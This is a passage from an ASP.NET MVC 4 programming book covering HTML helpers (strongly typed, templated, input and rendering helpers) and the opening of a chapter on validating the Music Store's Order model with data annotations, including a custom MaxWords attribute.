            @Html.TextBoxFor(m => m.Title)
            @Html.ValidationMessageFor(m => m.Title)
        </p>
        <input type="submit" value="Save" />
    </fieldset>
}
```

Notice that the strongly typed helpers have the same names as the previous helpers you've been using, but with a For suffix. The preceding code produces the same HTML you saw previously; however, replacing strings with lambda expressions provides a number of additional benefits. The benefits include IntelliSense, compile-time error checking, and easier refactoring (if you change the name of a property in your model, Visual Studio can automatically change the code in the view).

You can generally find a strongly typed counterpart for every helper that works with model data, and the built-in scaffolding we saw in Chapter 4 uses the strongly typed helpers wherever possible.

Notice also how you didn't explicitly set a value for the `Title` textbox. The lambda expression gives the helper enough information to go directly to the `Title` property of the model to fetch the required value.

Helpers and Model Metadata

Helpers do more than just look up data inside `viewData`; they also take advantage of available model metadata. For example, the album edit form uses the `Label` helper to display a label element for the genre selection list:

```
@Html.Label("GenreId")
```

The helper produces the following output:

```
<label for="GenreId">Genre</label>
```

Where did the `Genre` text come from? The helper asks the runtime if there is any model metadata available for `GenreId`, and the runtime provides information from the `DisplayName` attribute decorating the `Album` model:

```
[DisplayName("Genre")]
public int GenreId { get; set; }
```

The data annotations you'll see in Chapter 6 can have a dramatic influence on many of the helpers, because the annotations provide metadata the helpers use when constructing HTML. Templated helpers can take the metadata one step further.

Templated Helpers

The templated helpers in ASP.NET MVC build HTML using metadata and a template. The metadata includes information about a model value (its name and type), as well as model metadata (added through data annotations or a custom provider). The templated helpers are `Html.Display` and `Html.Editor`, their strongly typed counterparts, `Html.DisplayFor` and `Html.EditorFor`, and their whole-model counterparts, `Html.DisplayForModel` and `Html.EditorForModel`.

As an example, the `Html.TextBoxFor` helper renders the following HTML for an album's `Title` property:

```
<input id="Title" name="Title" type="text"
      value="For Those About To Rock We Salute You" />
```

Instead of using `Html.TextBoxFor`, you can switch to using the following code:

```
@Html.EditorFor(m => m.Title)
```

The `EditorFor` helper will render the same HTML as `TextBoxFor`; however, you can change the HTML using data annotations. If you think about the name of the helper (`Editor`), the name is more generic than the `TextBox` helper (which implies a specific type of input element). When using the templated helpers, you are asking the runtime to produce whatever "editor" it sees fit. Let's see what happens if you add a `DataType` annotation to the `Title` property:

```
[Required(ErrorMessage = "An Album Title is required")]
[StringLength(160)]
[DataType(DataType.MultilineText)]
public string Title { get; set; }
```

Now the `EditorFor` helper renders the following HTML:

```
<textarea class="text-box multi-line" id="Title" name="Title">
    Let There Be Rock
</textarea>
```

Since you asked for an editor in the generic sense, the `EditorFor` helper looked at the metadata and determined that the best HTML element to use was the `textarea` element (because the metadata indicates the `Title` property can hold multiple lines of text). Of course, most album titles won't need multiple lines of input, although some artists do like to push the limit with their titles.

The `DisplayForModel` and `EditorForModel` helpers build the HTML for an entire model object. Using these helpers, you can add new properties to a model object and instantly see changes in the UI without making any changes to the views.

You can control the rendered output of a template helper by writing custom display or editor templates (see Chapter 15).

Helpers and ModelState

All the helpers you use to display form values also interact with `ModelState`. Remember, `ModelState` is a byproduct of model binding and holds all validation errors detected during model binding. Model state also holds the raw values the user submits to update a model.

Helpers used to render form fields automatically look up their current value in the `ModelState` dictionary. The helpers use the name expression as a key into the `ModelState` dictionary. If an attempted value exists in `ModelState`, the helper uses the value from `ModelState` instead of a value in view data.

The `ModelState` lookup allows bad values to preserve themselves after model binding fails. For example, if the user enters the value abc into the editor for a `DateTime` property, model binding will fail and the value abc will go into model state for the associated property. When you re-render the view for the user to fix validation errors, the value abc will still appear in the `DateTime` editor, allowing the users to see the text they tried as a problem and allowing them to correct the error.

When `ModelState` contains an error for a given property, the form helper associated with the error renders a CSS class of `input-validation-error` in addition to any explicitly specified CSS classes. The default style sheet, `style.css`, included in the project template contains styling for this class.

OTHER INPUT HELPERS

In addition to the input helpers you've looked at so far, such as `TextBox` and `DropDownList`, the MVC framework contains a number of other helpers to cover the full range of input controls.

Html.Hidden

The `Html.Hidden` helper renders a hidden input. For example, the following code:

```
@Html.Hidden("wizardStep", "1")
```

results in:

```
<input id="wizardStep" name="wizardStep" type="hidden" value="1" />
```

The strongly typed version of this helper is `Html.HiddenFor`. Assuming your model had a `WizardStep` property, you would use it as follows:

```
@Html.HiddenFor(m => m.WizardStep)
```

Html.Password

The `Html.Password` helper renders a password field. It's much like the `TextBox` helper, except that it does not retain the posted value, and it uses a password mask. The following code:

```
@Html.Password("UserPassword")
```

results in:

```
<input id="UserPassword" name="UserPassword" type="password" value="" />
```

The strongly typed syntax for `Html.Password`, as you'd expect, is `Html.PasswordFor`. Here's how you'd use it to display the `UserPassword` property:

```
@Html.PasswordFor(m => m.UserPassword)
```

Html.RadioButton

Radio buttons are generally grouped together to provide a range of possible options for a single value. For example, if you want the user to select a color from a specific list of colors, you can use multiple radio buttons to present the choices. To group the radio buttons, you give each button the same name. Only the selected radio button is posted back to the server when the form is submitted.

The `Html.RadioButton` helper renders a simple radio button:

```
@Html.RadioButton("color", "red")
@Html.RadioButton("color", "blue", true)
@Html.RadioButton("color", "green")
```

and results in:

```
<input id="color" name="color" type="radio" value="red" />
<input checked="checked" id="color" name="color" type="radio" value="blue" />
<input id="color" name="color" type="radio" value="green" />
```

`Html.RadioButton` has a strongly typed counterpart, `Html.RadioButtonFor`. Rather than a name and a value, the strongly typed version takes an expression that identifies the object that contains the property to render, followed by a value to submit when the user selects the radio button.

```
@Html.RadioButtonFor(m => m.GenreId, "1") Rock
@Html.RadioButtonFor(m => m.GenreId, "2") Jazz
@Html.RadioButtonFor(m => m.GenreId, "3") Pop
```

Html.CheckBox

The `CheckBox` helper is unique because it renders two input elements. Take the following code, for example:

```
@Html.CheckBox("IsDiscounted")
```

This code produces the following HTML:

```
<input id="IsDiscounted" name="IsDiscounted" type="checkbox" value="true" />
<input name="IsDiscounted" type="hidden" value="false" />
```

You are probably wondering why the helper renders a hidden input in addition to the checkbox input. The helper renders two inputs because the HTML specification indicates that a browser will submit a value for a checkbox only when the checkbox is on (selected). In this example, the second input guarantees a value will appear for `IsDiscounted` even when the user does not check the checkbox input.

Although many of the helpers dedicate themselves to building forms and form inputs, helpers are available that you can use in general rendering scenarios.

RENDERING HELPERS

Rendering helpers produce links to other resources inside an application, and can also enable you to build those reusable pieces of UI known as *partial views*.

Html.ActionLink and Html.RouteLink

The `ActionLink` method renders a hyperlink (anchor tag) to another controller action. Like the `BeginForm` helper you looked at earlier, the `ActionLink` helper uses the routing API under the hood to generate the URL. For example, when linking to an action in the same controller used to render the current view, you can simply specify the action name:

```
@Html.ActionLink("Link Text", "AnotherAction")
```

This produces the following markup, assuming the default routes:

```
<a href="/Home/AnotherAction">LinkText</a>
```

When you need a link pointing to an action of a different controller, you can specify the controller name as a third argument to `ActionLink`. For example, to link to the `Index` action of the `ShoppingCartController`, use the following code:

```
@Html.ActionLink("Link Text", "Index", "ShoppingCart")
```

Notice that you specify the controller name without the *Controller* suffix. You never specify the controller's type name. The `ActionLink` methods have specific knowledge about ASP.NET MVC controllers and actions, and you've just seen how these helpers provide overloads enabling you to specify just the action name, or both the controller name and action name.

In many cases you'll have more route parameters than the various overloads of `ActionLink` can handle. For example, you might need to pass an ID value in a route, or some other route parameter specific to your application. Obviously, the built-in `ActionLink` helper cannot provide overloads for these types of scenarios out of the box.

Fortunately, you can provide the helper with all the necessary route values using other overloads of `ActionLink`. One overload enables you to pass an object of type `RouteValueDictionary`. Another overload enables you to pass an object parameter (typically an anonymous type) for the `routeValues` parameter. The runtime reflects over the properties of the object and uses them to construct route values (the property names will be the names of the route parameters, and the property values will represent the values of the route parameters). For example, to build a link to edit an album with an ID of 10720 you can use the following code:

```
@Html.ActionLink("Edit link text", "Edit", "StoreManager", new {id=10720}, null)
```

The last parameter in the preceding overload is the `htmlAttributes` argument. You saw earlier in the chapter how you can use this parameter to set any attribute value on an HTML element. The preceding code is passing a null (effectively not setting any additional attributes in the HTML). Even though the code isn't setting attributes, you have to pass the parameter to invoke the correct overload of `ActionLink`.

The `RouteLink` helper follows the same pattern as the `ActionLink` helper, but also accepts a route name and does not have arguments for controller name and action name. For example, the first example `ActionLink` shown previously is equivalent to the following:

```
@Html.RouteLink("Link Text", new {action="AnotherAction"})
```

URL Helpers

The URL helpers are similar to the HTML `ActionLink` and `RouteLink` helpers, but instead of returning HTML they build URLs and return the URLs as strings. There are three helpers:

- Action
- Content
- RouteUrl

The Action URL helper is exactly like ActionLink, but does not return an anchor tag. For example, the following code will display the URL (not a link) to browse all Jazz albums in the store

```
<span>
    @Url.Action("Browse", "Store", new { genre = "Jazz" }, null)
</span>
```

The result will be the following HTML:

```
<span>
    /Store/Browse?genre=Jazz
</span>
```

When you reach the AJAX chapter (Chapter 8), you'll see another use for the Action helper.

The RouteUrl helper follows the same pattern as the Action helper, but like RouteLink it accepts a route name and does not have arguments for controller name and action name.

The Content helper is particularly helpful because it can convert a relative application path to an absolute application path. You'll see the Content helper at work in the Music Store's _Layout view.

```
<script src="@Url.Content("~/Scripts/jquery-1.5.1.min.js")"
    type="text/javascript"></script>
```

Using a tilde as the first character in the parameter you pass to the Content helper will let the helper generate the proper URL no matter where your application is deployed (think of the tilde as representing the application root directory). Without the tilde the URL could break if you moved the application up or down the virtual directory tree.

In ASP.NET MVC 4, which uses Razor version 2, the tilde character is resolved automatically when it appears in the src attribute for script, style, and img elements. The code in the previous example could also be written as follows and work just fine:

```
<script src("~/Scripts/jquery-1.5.1.min.js" type="text/javascript"></script>
```

Html.Partial and Html.RenderPartial

The Partial helper renders a partial view into a string. Typically, a partial view contains reusable markup you want to render from inside multiple different views. Partial has four overloads:

```
public void Partial(string partialViewName);
public void Partial(string partialViewName, object model);
public void Partial(string partialViewName, ViewDataDictionary viewData);
public void Partial(string partialViewName, object model,
    ViewDataDictionary viewData);
```

Notice that you do not have to specify the path or file extension for a view because the logic the runtime uses to locate a partial view is the same logic the runtime uses to locate a normal view. For example, the following code renders a partial view named AlbumDisplay. The runtime looks for the view using all the available view engines.

```
@Html.Partial("AlbumDisplay")
```

The `RenderPartial` helper is similar to `Partial`, but `RenderPartial` writes directly to the response output stream instead of returning a string. For this reason, you must place `RenderPartial` inside a code block instead of a code expression. To illustrate, the following two lines of code render the same output to the output stream:

```
@{Html.RenderPartial("AlbumDisplay");}
@Html.Partial("AlbumDisplay")
```

So, which should you use, `Partial` or `RenderPartial`? In general, you should prefer `Partial` to `RenderPartial` because `Partial` is more convenient (you don't have to wrap the call in a code block with curly braces). However, `RenderPartial` may result in better performance because it writes directly to the response stream, although it would require a lot of use (either high site traffic or repeated calls in a loop) before the difference would be noticeable.

Html.Action and Html.RenderAction

`Action` and `RenderAction` are similar to the `Partial` and `RenderPartial` helpers. The `Partial` helper typically helps a view render a portion of a view's model using view markup in a separate file. `Action`, on the other hand, executes a separate controller action and displays the results. `Action` offers more flexibility and re-use because the controller action can build a different model and make use of a separate controller context.

Once again, the only difference between `Action` and `RenderAction` is that `RenderAction` writes directly to the response (which can bring a slight efficiency gain). Here's a quick look at how you might use this method. Imagine you are using the following controller:

```
public class MyController : Controller {
    public ActionResult Index() {
        return View();
    }

    [ChildActionOnly]
    public ActionResult Menu() {
        var menu = GetMenuFromSomewhere();
        return PartialView(menu);
    }
}
```

The `Menu` action builds a menu model and returns a partial view with just the menu:

```
@model Menu
<ul>
@foreach (var item in Model.MenuItem) {
    <li>@item.Text</li>
}
</ul>
```

In your `Index.cshtml` view, you can now call into the `Menu` action to display the menu:

```
<html>
<head><title>Index with Menu</title></head>
```

```
<body>
    @Html.Action("Menu")
    <h1>Welcome to the Index View</h1>
</body>
</html>
```

Notice that the `Menu` action is marked with a `ChildActionOnlyAttribute`. The attribute prevents the runtime from invoking the action directly via a URL. Instead, only a call to `Action` or `RenderAction` can invoke a child action. The `ChildActionOnlyAttribute` isn't required, but is generally recommended for child actions.

Since MVC 3 there is also a new property on the `ControllerContext` named `IsChildAction`. `IsChildAction` will be true when someone calls an action via `Action` or `RenderAction` (but false when invoked through a URL). Some of the action filters of the MVC runtime behave differently with child actions (such as the `AuthorizeAttribute` and `OutputCacheAttribute`).

Passing Values to RenderAction

Because these action helpers invoke action methods, it's possible to specify additional values to the target action as parameters. For example, suppose you want to supply the menu with options.

1. You can define a new class, `MenuOptions`, as follows:

```
public class MenuOptions {
    public int Width { get; set; }
    public int Height { get; set; }
}
```

2. Change the `Menu` action method to accept this as a parameter:

```
[ChildActionOnly]
public ActionResult Menu(MenuOptions options) {
    return PartialView(options);
}
```

3. You can pass in menu options from your action call in the view:

```
@Html.Action("Menu", new {
    options = new MenuOptions { Width=400, Height=500 } })
```

Cooperating with the ActionName Attribute

Another thing to note is that `RenderAction` honors the `ActionName` attribute when calling an action name. If you annotate the action as follows, you'll need to make sure to use `CoolMenu` as the action name and not `Menu` when calling `RenderAction`:

```
[ChildActionOnly]
[ActionName("CoolMenu")]
public ActionResult Menu(MenuOptions options) {
    return PartialView(options);
}
```

SUMMARY

In this chapter, you've seen how to build forms for the Web, and also how to use all the form- and rendering-related HTML helpers in the MVC framework. Helpers are not trying to take away control over your application's markup. Instead, helpers are about achieving productivity while retaining complete control over the angle brackets your application produces.

Data Annotations and Validation

Scott Allen

WHAT'S IN THIS CHAPTER?

- Using data annotations for validation
- Creating your own validation logic
- Using model metadata annotations

Validating user input has always been challenging for web developers. Not only do you want validation logic executing in the browser, but you also *must* have validation logic running on the server. The client validation logic gives users instant feedback on the information they enter into a form, and is an expected feature in today's web applications. Meanwhile, the server validation logic is in place because you should never trust information arriving from the network.

Once you look at the bigger picture, however, you realize how logic is only one piece of the validation story. You also need to manage the user-friendly (and often localized) error messages associated with validation logic, place the error messages in your UI, and provide some mechanism for users to recover gracefully from validation failures.

If validation sounds like a daunting chore, you'll be happy to know the MVC framework can help you with the job. This chapter is devoted to giving you everything you need to know about the validation components of the MVC framework.

When you talk about validation in an MVC design pattern context, you are primarily focusing on validating *model* values. Did the user provide a required value? Is the value in range? The ASP.NET MVC validation features can help you validate model values. The validation features

are extensible — you can build custom validation schemes to work in any manner you require — but the default approach is a declarative style of validation using attributes known as *data annotations*.

In this chapter, you see how data annotations work with the MVC framework. You also see how annotations go beyond just validation. Annotations are a general-purpose mechanism you can use to feed metadata to the framework, and the framework not only drives validation from the metadata, but also uses the metadata when building the HTML to display and edit models. Let's start by looking at a validation scenario.

ANNOTATING ORDERS FOR VALIDATION

A user who tries to purchase music from the ASP.NET MVC Music Store will go through a typical shopping cart checkout procedure. The procedure requires payment and shipping information. The Order class represents everything the application needs to complete a checkout:

```
public class Order
{
    public int OrderId { get; set; }
    public DateTime OrderDate { get; set; }
    public string Username { get; set; }
    public string FirstName { get; set; }
    public string LastName { get; set; }
    public string Address { get; set; }
    public string City { get; set; }
    public string State { get; set; }
    public string PostalCode { get; set; }
    public string Country { get; set; }
    public string Phone { get; set; }
    public string Email { get; set; }
    public decimal Total { get; set; }
    public List<OrderDetail> OrderDetails { get; set; }
}
```

Some of the properties in the Order class require user input (such as FirstName and LastName), while the application derives other property values from the environment, or looks them up from the database (such as the Username property, because a user must log in before checking out, thus the application will already have the value).

The application builds the checkout page using the `EditorForModel` HTML helper. The following code is from the `AddressandPayment.cshtml` view in the `Views/Checkout` folder:

```
<fieldset>
    <legend>Shipping Information</legend>
    @Html.EditorForModel()
</fieldset>
```

The `EditorForModel` helper builds out editors for every property in a model object, resulting in the form shown in Figure 6-1.

The screenshot shows a web browser window for the 'ASP.NET MVC MUSIC STORE'. The URL is 'localhost:26641/home/edit'. The page title is 'Edit'. On the left, there's a sidebar with genre names: Rock, Classical, Jazz, Pop, Disco, Latin, Metal, Alternative, Reggae, and Blues. The main content area has an 'Edit' heading. It contains several input fields: 'OrderId' (set to 0), 'OrderDate' (set to 1/1/0001 12:00:00 AM), 'Username' (empty), 'FirstName' (empty), 'LastName' (empty), 'Address' (empty), and 'City' (empty). The 'OrderDate' field is styled differently from the others, suggesting it's a date-time input.

FIGURE 6-1

The form has some visible problems. For example, you do not want the customer to enter an `OrderId` or `OrderDate`. The application will set the values of these properties on the server. Also, though the input labels might make sense to a developer (`FirstName` is obviously a property name), the labels will probably leave a customer bewildered (was someone's spacebar broken?). You'll fix these problems later in the chapter.

MVC 4 AND HTML 5

The HTML helpers in MVC 4 now use HTML 5 input types. You can see the impact in the previous figure, because `OrderId` and `OrderDate` have a slightly different look than other inputs on the page. This is because MVC 4 rendered the `OrderId` with an input of type `number`, and `OrderDate` with an input of type `datetime`. Although we ultimately do not want these inputs to appear on the page, it does show how MVC 4 can render these inputs and how the browser (in this case, Google Chrome) will add different features and validation logic depending on the input type.

For now, there is a more serious problem you can't see reflected in the screenshot of Figure 6-1. The problem is, customers can leave the entire form blank and click the Submit Order button at the bottom of the form. The application will not tell them how they need to provide critically important information like their name and address. You'll fix this problem using data annotations.

Using Validation Annotations

Data annotations are attributes you can find in the `System.ComponentModel.DataAnnotations` namespace (although a couple of attributes are defined outside this namespace, as you will see). These attributes provide server-side validation, and the framework also supports client-side validation when you use one of the attributes on a model property. You can use four attributes in the `DataAnnotations` namespace to cover common validation scenarios. We'll start by looking at the `Required` attribute.

Required

Because you need the customer to give you his first and last name, you can decorate the `FirstName` and `LastName` properties of the `Order` model with the `Required` attribute:

```
[Required]
public string FirstName { get; set; }

[Required]
public string LastName { get; set; }
```

The attribute raises a validation error if either property value is null or empty. (You will learn how to deal with validation errors in just a bit.)

Like all the built-in validation attributes, the `Required` attribute delivers both server-side and client-side validation logic (although internally, it is another, different component in the MVC framework that delivers the client-side validation logic for the attribute through a validation adapter design).

With the attribute in place, if the customer tries to submit the form without providing a last name, he'll see the default error in Figure 6-2.

However, even if the customer does not have JavaScript enabled in his browser, the validation logic will catch an empty name property on the server, too. Assuming your controller action is implemented correctly (which I promise I will talk about in just a bit), the user will still see the error message in the preceding screenshot.

FIGURE 6-2

StringLength

You've forced the customer to enter his name, but what happens if he enters a name of enormous length? Wikipedia says the longest name ever used belonged to a German typesetter who lived in Philadelphia. His full name is more than 500 characters long. Although the .NET string type can store (in theory) gigabytes of Unicode characters, the MVC Music Store database schema sets the maximum length for a name at 160 characters. If you try to insert a larger name into the database, you'll have an exception on your hands. The `StringLength` attribute can ensure the string value provided by the customer will fit in the database:

```
[Required]
[StringLength(160)]
public string FirstName { get; set; }
```

```
[Required]
[StringLength(160)]
public string LastName { get; set; }
```

Notice how you can stack multiple validation attributes on a single property. With the attribute in place, if a customer enters too many characters, he'll see the default error message shown below the `LastName` field in Figure 6-3.

`MinimumLength` is an optional, named parameter you can use to specify the minimum length for a string. The following code requires the `FirstName` property to contain a string with three or more characters (and less than or equal to 160 characters) to pass validation:

```
[Required]
[StringLength(160, MinimumLength=3)]
public string FirstName { get; set; }
```

RegularExpression

Some properties of `Order` require more than a simple presence or length check. For example, you'd like to ensure the `Email` property of an `Order` contains a valid, working e-mail address. Unfortunately, it's practically impossible to ensure an e-mail address is working without sending a mail message and waiting for a response. What you can do instead is ensure the value *looks like* a working e-mail address using a regular expression:

```
[RegularExpression(@"[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,4}")]
public string Email { get; set; }
```

Regular expressions are an efficient and terse means to enforce the shape and contents of a string value. If the customer gives you an e-mail address and the regular expression doesn't think the string looks like an e-mail address, the customer will see the error in Figure 6-4.

To someone who isn't a developer (and even to some developers, too), the error message looks like someone sprinkled catnip on a keyboard before letting a litter of Norwegian Forest Cats run wild. You see how to make a friendlier error message in the next section.

Range

The `Range` attribute specifies minimum and maximum constraints for a numerical value. If the Music Store only wanted to serve middle-aged customers, you could add an `Age` property to the `Order` class and use the `Range` attribute as in the following code:

```
[Range(35,44)]
public int Age { get; set; }
```

The first parameter to the attribute is the minimum value, and the second parameter is the maximum value. The values are inclusive. The `Range` attribute can work with integers and doubles, and

The screenshot shows a web form with two input fields: 'FirstName' and 'LastName'. The 'FirstName' field has a red border and contains the text 'Wolfschlegelsteinhausenbergerdorffvoralterswaren'. An error message above it says 'The FirstName field is required.' The 'LastName' field also has a red border and contains the same text. An error message above it says 'The field LastName must be a string with a maximum length of 160.'

FIGURE 6-3

The screenshot shows a web form with two input fields: 'Phone' and 'Email'. The 'Email' field has a red border and contains the text 'odetocode'. An error message above it says 'The field Email must match the regular expression '[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,4}'.'

FIGURE 6-4

another overloaded version of the constructor will take a `Type` parameter and two strings (which can allow you to add a range to date and decimal properties, for example).

```
[Range(typeof(decimal), "0.00", "49.99")]
public decimal Price { get; set; }
```

Validation Attributes from System.Web.Mvc

The ASP.NET MVC framework adds two additional validation attributes for use in an application. These attributes are in the `System.Web.Mvc` namespace. One such attribute is the `Remote` attribute.

The `Remote` attribute enables you to perform client-side validation with a server callback. Take, for example, the `UserName` property of the `RegisterModel` class in the MVC Music Store. No two users should have the same `UserName` value, but it is difficult to validate the value on the client to ensure the value is unique (to do so you would have to send every single username from the database to the client). With the `Remote` attribute you can send the `UserName` value to the server, and compare the value against the values in the database.

```
[Remote("CheckUserName", "Account")]
public string UserName { get; set; }
```

Inside the attribute you can set the name of the action, and the name of the controller the client code should call. The client code will send the value the user entered for the `UserName` property automatically, and an overload of the attribute constructor allows you to specify additional fields to send to the server.

```
public JsonResult CheckUserName(string username)
{
    var result = Membership.FindUsersByName(username).Count == 0;
    return Json(result, JsonRequestBehavior.AllowGet);
}
```

The controller action will take a parameter with the name of the property to validate, and return a true or false wrapped in JavaScript Object Notation (JSON). You'll see more JSON, AJAX, and client-side features in Chapter 8.

The second attribute is the `Compare` attribute. `Compare` ensures two properties on a model object have the same value. For example, you might want to force a customer to enter his e-mail address twice to ensure he didn't make a typographical error:

```
[RegularExpression(@"[A-Za-z0-9.%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,4}")]
public string Email { get; set; }

[Compare("Email")]
public string EmailConfirm { get; set; }
```

If the user doesn't enter the exact e-mail address twice, he'll see the error in Figure 6-5.

`Remote` and `Compare` only exist because data annotations are extensible. You look at building a custom annotation later in the chapter. For now, let's look at customizing the error messages on display for a failed validation rule.

FIGURE 6-5

Custom Error Messages and Localization

Every validation attribute allows you to pass a named parameter with a custom error message. For example, if you don't like the default error message associated with the `RegularExpression` attribute (because it displays a regular expression), you could customize the error message with the following code:

```
[RegularExpression(@"[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,4}",
    ErrorMessage="Email doesn't look like a valid email address.")]
public string Email { get; set; }
```

`ErrorMessage` is the name of the parameter in every validation attribute.

```
[Required(ErrorMessage="Your last name is required")]
[StringLength(160, ErrorMessage="Your last name is too long")]
public string LastName { get; set; }
```

The custom error message can also have a single format item in the string. The built-in attributes format the error message string using the friendly display name of a property (you see how to set the display name in the display annotations later in this chapter). As an example, consider the `Required` attribute in the following code:

```
[Required(ErrorMessage="Your {0} is required.")]
[StringLength(160, ErrorMessage="{0} is too long.")]
public string LastName { get; set; }
```

The attribute uses an error message string with a format item (`{0}`). If a customer doesn't provide a value, he'll see the error message in Figure 6-6.

In applications built for international markets, the hard-coded error messages are a bad idea. Instead of literal strings, you'll want to display different text for different locales. Fortunately, all the validation attributes also allow you to specify a resource type and a resource name for localized error messages:

```
[Required(ErrorMessageResourceType=typeof(ErrorMessages),
    ErrorMessageResourceName="LastNameRequired")]
[StringLength(160, ErrorMessageResourceType = typeof(ErrorMessages),
    ErrorMessageResourceName = "LastNameTooLong")]
public string LastName { get; set; }
```

The preceding code assumes you have a resource file in the project named `ErrorMessages.resx` with the appropriate entries inside (`LastNameRequired` and `LastNameTooLong`). For ASP.NET to use localized resource files, you have to have the `UICulture` property of the current thread set to the proper culture. See “How To: Set the Culture and UI Culture for ASP.NET Page Globalization” at <http://msdn.microsoft.com/en-us/library/bz9tc508.aspx> for more information.

FIGURE 6-6

Looking behind the Annotation Curtain

Before looking at how to work with validation errors in your controller and views, and before you look at building a custom validation attribute, it's worthwhile to understand what is happening with

the validation attributes behind the scenes. The validation features of ASP.NET MVC are part of a coordinated system involving model binders, model metadata, model validators, and model state.

Validation and Model Binding

As you were reading about the validation annotations, you might have asked a couple of obvious questions: When does validation occur? How do I know if validation failed?

By default, the ASP.NET MVC framework executes validation logic during model binding. As discussed in Chapter 4, the model binder runs implicitly when you have parameters to an action method:

```
[HttpPost]
public ActionResult Create(Album album)
{
    // the album parameter was created via model binding
    // ...
}
```

You can also explicitly request model binding using the `UpdateModel` or `TryUpdateModel` methods of a controller:

```
[HttpPost]
public ActionResult Edit(int id, FormCollection collection)
{
    var album = storeDB.Albums.Find(id);

    if(TryUpdateModel(album))
    {
        // ...
    }
}
```

Once the model binder is finished updating the model properties with new values, the model binder uses the current model metadata and ultimately obtains all the validators for the model. The MVC run time provides a validator to work with data annotations (the `DataAnnotationsModelValidator`). This model validator can find all the validation attributes and execute the validation logic inside. The model binder catches all the failed validation rules and places them into model state.

Validation and Model State

The primary side effect of model binding is model state (accessible in a `Controller`-derived object using the `ModelState` property). Not only does model state contain all the values a user attempted to put into model properties, but model state also contains all the errors associated with each property (and any errors associated with the model object itself). If there are any errors in model state, `ModelState.IsValid` returns false.

As an example, imagine the user submits the checkout page without providing a value for `LastName`. With the `Required` validation annotation in place, all the following expressions will return true after model binding occurs:

```
ModelState.IsValid == false
ModelState.IsValidField("LastName") == false
ModelState["LastName"].Errors.Count > 0
```

You can also look in model state to see the error message associated with the failed validation:

```
var lastNameErrorMessage = ModelState["LastName"].Errors[0].ErrorMessage;
```

Of course, you rarely need to write code to look for specific error messages. Just as the run time automatically feeds validation errors *into* model state, it can also automatically pull errors *out* of model state. As discussed in Chapter 5, the built-in HTML helpers use model state (and the presence of errors in model state) to change the display of the model in a view. For example, the `ValidationMessage` helper displays error messages associated with a particular piece of view data by looking at model state.

```
@Html.ValidationMessageFor(m => m.LastName)
```

The only question a controller action generally needs to ask is this: Is the model state valid or not?

Controller Actions and Validation Errors

Controller actions can decide what to do when model validation fails, and what to do when model validation succeeds. In the case of success, an action generally takes the steps necessary to save or update information for the customer. When validation fails, an action generally re-renders the same view that posted the model values. Re-rendering the same view allows the user to see all the validation errors and to correct any typos or missing fields. The `AddressAndPayment` action shown in the following code demonstrates a typical action behavior:

```
[HttpPost]
public ActionResult AddressAndPayment(Order newOrder)
{
    if (ModelState.IsValid)
    {
        newOrder.Username = User.Identity.Name;
        newOrder.OrderDate = DateTime.Now;
        storeDB.Orders.Add(newOrder);
        storeDB.SaveChanges();

        // Process the order
        var cart = ShoppingCart.GetCart(this);
        cart.CreateOrder(newOrder);
        return RedirectToAction("Complete", new { id = newOrder.OrderId });
    }
    // Invalid -- redisplay with errors
    return View(newOrder);
}
```

The code checks the `IsValid` flag of `ModelState` immediately. The model binder will have already built an `Order` object and populated the object with values supplied in the request (posted form values). When the model binder is finished updating the order, it runs any validation rules associated with the object, so you'll know if the object is in a good state or not. You could also implement the action using an explicit call to `UpdateModel` or `TryUpdateModel`.

```
[HttpPost]
public ActionResult AddressAndPayment(FormCollection collection)
{
    var newOrder = new Order();
    TryUpdateModel(newOrder);
    if (ModelState.IsValid)
    {
        newOrder.Username = User.Identity.Name;
        newOrder.OrderDate = DateTime.Now;
        storeDB.Orders.Add(newOrder);
        storeDB.SaveChanges();

        // Process the order
        var cart = ShoppingCart.GetCart(this);
        cart.CreateOrder(newOrder);
        return RedirectToAction("Complete", new { id = newOrder.OrderId });
    }
    // Invalid -- redisplay with errors
    return View(newOrder);
}
```

There are many variations on the theme, but notice that in both implementations the code checks if model state is valid, and if model state is not valid the action re-renders the `AddressAndPayment` view to give the customer a chance to fix the validation errors and resubmit the form.

We hope that you can see how easy and transparent validation can be when you work with the annotation attributes. Of course, the built-in attributes cannot cover all of the possible validation scenarios you might have for your application. Fortunately, it is easy to create your own custom validations.

CUSTOM VALIDATION LOGIC

The extensibility of the ASP.NET MVC framework means an infinite number of possibilities exist for implementing custom validation logic. However, this section focuses on two core scenarios:

- Packaging validation logic into a custom data annotation
- Packaging validation logic into a model object itself

Putting validation logic into a custom data annotation means you can easily reuse the logic across multiple models. Of course, you have to write the code inside the attribute to work with different types of models, but when you do, you can place the new annotation anywhere.

On the other hand, adding validation logic directly to a model object often means the validation logic itself is easier to write (you only need to worry about the logic working with a single type of object). It is, however, more difficult to reuse the logic.

You'll see both approaches in the following sections, starting with writing a custom data annotation.

Custom Annotations

Imagine you want to restrict the last name value of a customer to a limited number of words. For example, you might say that 10 words are too many for a last name. You also might decide that this type of validation (limiting a string to a maximum number of words) is something you can reuse with other models in the Music Store application. If so, the validation logic is a candidate for packaging into a reusable attribute.

All of the validation annotations (like `Required` and `Range`) ultimately derive from the `ValidationAttribute` base class. The base class is abstract and lives in the `System.ComponentModel.DataAnnotations` namespace. Your validation logic will also live in a class deriving from `ValidationAttribute`:

```
using System.ComponentModel.DataAnnotations;

namespace MvcMusicStore.Infrastructure
{
    public class MaxWordsAttribute : ValidationAttribute
    {
        }
}
```

To implement the validation logic, you need to override one of the `IsValid` methods provided by the base class. Overriding the `IsValid` version taking a `ValidationContext` parameter provides more information to use inside the `IsValid` method (the `ValidationContext` parameter will give you access to the model type, model object instance, and friendly display name of the property you are validating, among other pieces of information).

```
public class MaxWordsAttribute : ValidationAttribute
{
    protected override ValidationResult IsValid(
        object value, ValidationContext validationContext)
    {

        return ValidationResult.Success;
    }
}
```

The first parameter to the `IsValid` method is the value to validate. If the value is valid you can return a successful validation result, but before you can determine if the value is valid, you'll need to know how many words are too many. You can do this by adding a constructor to the attribute and forcing the client to pass the maximum number of words as a parameter:

```
public class MaxWordsAttribute : ValidationAttribute
{
    public MaxWordsAttribute(int maxWords)
    {
        _maxWords = maxWords;
    }
}
```

```
protected override ValidationResult IsValid(
    object value, ValidationContext validationContext)
{
    return ValidationResult.Success;
}

private readonly int _maxWords;
}
```

